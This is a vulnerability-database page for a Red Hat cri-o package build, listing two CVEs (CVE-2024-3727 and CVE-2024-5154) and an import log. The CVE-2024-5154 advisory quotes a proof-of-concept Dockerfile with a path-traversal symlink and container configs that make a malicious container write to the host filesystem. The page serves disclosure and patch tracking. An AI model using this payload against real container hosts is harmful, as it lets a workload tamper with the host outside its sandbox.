Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:rpm/redhat/cri-o@1.29.5-7.rhaos4.16.git7db4ada?arch=el8
purl pkg:rpm/redhat/cri-o@1.29.5-7.rhaos4.16.git7db4ada?arch=el8
Next non-vulnerable version None.
Latest non-vulnerable version None.
Risk 4.0
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-52c5-4udv-jydb
Aliases:
CVE-2024-3727
GHSA-6wvf-f2vw-3425
github.com/containers/image allows unexpected authenticated registry accesses A flaw was found in the github.com/containers/image library. This flaw allows attackers to trigger unexpected authenticated registry accesses on behalf of a victim user, causing resource exhaustion, local path traversal, and other attacks. There are no reported fixed by versions.
VCID-khm9-52xa-t3ek
Aliases:
CVE-2024-5154
GHSA-j9hf-98c3-wrm8
malicious container creates symlink "mtab" on the host External ### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_ There are no reported fixed by versions.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-01T13:47:46.026351+00:00 RedHat Importer Affected by VCID-52c5-4udv-jydb https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-3727.json 38.0.0
2026-04-01T13:47:07.692462+00:00 RedHat Importer Affected by VCID-khm9-52xa-t3ek https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-5154.json 38.0.0